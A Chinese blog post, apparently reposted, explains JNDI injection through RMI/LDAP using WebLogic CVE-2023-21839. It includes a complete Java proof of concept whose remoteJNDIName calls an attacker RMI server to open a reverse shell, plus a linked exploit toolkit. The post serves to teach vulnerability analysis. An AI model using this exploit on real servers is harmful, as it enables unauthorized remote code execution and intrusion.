首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

深入理解JNDI注入—RMI/LDAP攻击

编程知识
2024年09月18日 07:53

目录

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章，导致我想写一篇通俗易懂能理解到底啥是JNDI注入，怎么lookup的。

当然不排除国外英文文章有很好的解释，但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候，最终会执行到lookup函数，然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量，再者lookup支持远程方法调用（RMI）、轻型目录访问协议（LDAP）、域名服务（DNS）。

定眼一看RMI、LDAP、DNS，肾上腺素拉满，这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为：JNDI+RMI、JNDI+LDAP、JNDI+DNS，最具杀伤力的自然是rmi和ldap协议，能够远程绑定对象执行代码。（这里别蒙圈，知道这俩协议配合JNDI能够远程执行代码即可）

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显，有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构（CORBA）

透过Weblogic漏洞深入理解

该漏洞为：Weblogic未授权远程代码执行漏洞(CVE-2023-21839)

下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击，这也是为啥我不满意网上大部分文章的原因，没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点，毕竟还是参考了很多大佬文章的，各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌，你只需要知道最终触发的还是lookup函数即可，上面的解释就是为了你在朋友面前装13的而已，显得你很牛13。
    漏洞可以概括为：因为weblogic支持t3和iiop协议绑定远程对象，然后绑定的远程对象是ForeignOpaqueReferent的话，客户端通过jndi查询的时候，服务端其实是调用了远程对象的getRefernet函数进行实例化，然后在这个函数里面进行了lookup查找，查找的是remoteJNDIName，这个就是漏洞点，我们可以通过反射机制修改这个remoteJNDIName，也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注：！！！补充，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同，两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是：RMI/LDAP远程对象引用安全限制存在差异)

参考文章：
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓里面有写一段，解决了我的对两个协议的疑惑：↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制，本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象)，为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制，如果该值为false(不信任远程引用对象)，一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始，java.rmi.server.useCodebaseOnly默认值改为了true。
  • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。
    本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。（但不受java.rmi.server.useCodebaseOnly影响）

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了，那么就无需看下面分析了，因为这里我写的原因就是因为不相信别人说的，我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。

  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析，使用RMI攻击。
    分析前要记住一点：Weblogic t3/iiop协议支持远程绑定对象bind到服务端

    • 允许绑定对象这一点很重要，既然允许绑定对象，那么我们就需要找一个能够触发lookup且变量可控的类去绑定，这样我们才能够实现JNDI注入攻击。

  • 巧的是：当远程对象继承自OpaqueReference时，lookup查看远程对象，查询的变量是remoteJNDIName(可通过反射机制控制)。
    这里又发现一篇文章写得不错，我参考了一二：https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓

    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象，并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象，触发ForeignOpaqueReference.getReferent的调用，从而造成恶意JNDI注入。

    通过lookup查询该恶意对象：这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发，这也就是为啥我选weblogic这个漏洞来解释的原因，他的poc就是你自己来决定绑定后是否进行lookup攻击的，很直接了当告诉你就是lookup触发的，别不信，你自己决定是否lookup攻击。
    注：！！！我还要再次补充就是，这个weblogic漏洞是你绑定对象后主动的进行lookup查询，然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章：https://xz.aliyun.com/t/12297
下图为：ForeignOpaqueReference的父类OpaqueReference，可以看到里面存在getReferent函数，这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent，你看我框住的就行，你会发现我们只要满足下面两点：

  1. jndiEnvironment不为空，就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改，说白了就是在lookup查询你绑定好的对象时，就会调用ForeignOpaqueReference.getReferent()，然后就去触发受害端后台的lookup，接着执行你控制好的remoteJNDIName，所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入。

在这里插入图片描述
以下是RMI的漏洞攻击POC：
注明：本人没有测试poc是否成功，建议使用集成工具一键搭好攻击环境：
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ，然后设置好值后，远程绑定ForeignOpaqueReference对象，然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象，这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps：上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ，看不懂可以接下去看lookup触发链。
    （我已大彻大悟，不知道友悟到没。）
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因，下面介绍的是知道了进行lookup后，lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(从下JNDI_Test的函类开始往上看)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首。
其他调用过程就不讲了，有感兴趣可以看参考文章：https://xz.aliyun.com/t/12297
接着讲：getObjectFactoryFromReference干了啥，以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的，在参考文章中也有告诉我就是：URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

至此，历尽千辛万苦，透过一个23年的weblogic漏洞分析JNDI到此结束。

JNDI+LDAP

同理RMI，就是有版本的安全配置限制，上面也讲了两个协议的区别，但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释，道友莫怪。
感谢看到这里的道友~

From:https://www.cnblogs.com/dhan/p/18417881
本文地址: http://www.shuzixingkong.net/article/2093
0评论
提交 加载更多评论
其他文章 LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践
本文主要针对开源文档问答系统Kotaemon的介绍，包括主要功能特点，与传统文档RAG的区别，部署教程以及效果体验等。
LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践 LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践 LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践
WiFi基础(四)：WiFi工作原理及WiFi接入过程
liwen01 2024.09.16 前言 802.11 无线 WiFi 网有三类帧：数据帧、管理帧、控制帧。与有线网相比，无线 WiFi 网会复杂很多。大部分应用软件开发对 WiFi 的控制帧和管理帧了解得并不多，因为它们在物理层和数据链路层就已经被处理了，上层应用很少能感知到。 一般是在设备出现
WiFi基础(四)：WiFi工作原理及WiFi接入过程 WiFi基础(四)：WiFi工作原理及WiFi接入过程 WiFi基础(四)：WiFi工作原理及WiFi接入过程
解密Prompt系列38.多Agent路由策略
常见的多智能体框架有协作模式，路由模式，复杂交互模式等等，这一章我们围绕智能体路由，也就是如何选择解决当前任务最合适的智能体展开，介绍基于领域，问题复杂度，和用户偏好进行智能体选择的几种方案
解密Prompt系列38.多Agent路由策略 解密Prompt系列38.多Agent路由策略 解密Prompt系列38.多Agent路由策略
代码整洁之道--读书笔记(12)
代码整洁之道 简介： 本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结，讲解要成为真正专业的程序员需要具备什么样的态度，需要遵循什么样的原则，需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例，意在为后来者引路，助其职业生涯迈上更高台阶。 本书适合所有程序员阅读，
代码整洁之道--读书笔记(12) 代码整洁之道--读书笔记(12)
mongodb 中rs.stauts()命令参数解析
转载请注明出处： rs.status()命令用于获取MongoDB副本集的状态信息。它提供了关于副本集中各个节点的详细信息，包括节点的健康状况、角色、选举状态等。 以下是查看一个mongo集群状态返回的参数： rs0:PRIMARY&gt; rs.status() { &quot;set&quot;
 这10种分布式ID，太绝了！
前言 分布式ID，在我们日常的开发中，其实使用的挺多的。 有很多业务场景在用，比如： 分布式链路系统的trace_id 单表中的主键 Redis中分布式锁的key 分库分表后表的id 今天跟大家一起聊聊分布式ID的一些常见方案，希望对你会有所帮助。 1 UUID UUID (Universally
这10种分布式ID，太绝了！ 这10种分布式ID，太绝了！ 这10种分布式ID，太绝了！
揭秘最为知名的黑客工具之一： Netcat！适用安全测试、渗透测试、黑客攻击！
在网络安全领域，黑客工具一直备受关注。它们既可以被用于攻击，也可以用于防御。本文将为大家揭秘一款知名的黑客工具: Netcat。 1、Netcat是什么？ Netcat被誉为“网络的瑞士军刀”，简称为 nc，是一个功能丰富的网络工具。最早是一个简单的TCP/IP工具，用于在网络上传输数据。随着时间的
 Vue3.5中解构props，让父子组件通信更加丝滑
前言 在Vue3.5版本中响应式 Props 解构终于正式转正了，这个功能之前一直是试验性的。这篇文章来带你搞清楚，一个String类型的props经过解构后明明应该是一个常量了，为什么还没丢失响应式呢？本文中使用的Vue版本为欧阳写文章时的最新版Vue3.5.5 关注公众号：【前端欧阳】，给自己一
Vue3.5中解构props，让父子组件通信更加丝滑 Vue3.5中解构props，让父子组件通信更加丝滑 Vue3.5中解构props，让父子组件通信更加丝滑
本站由星云主机提供云计算服务

网站建设一条龙服务、小程序开发、企业网站建设、定制开发，网络安全检测与维护 业务合作联系QQ:九六九五七三七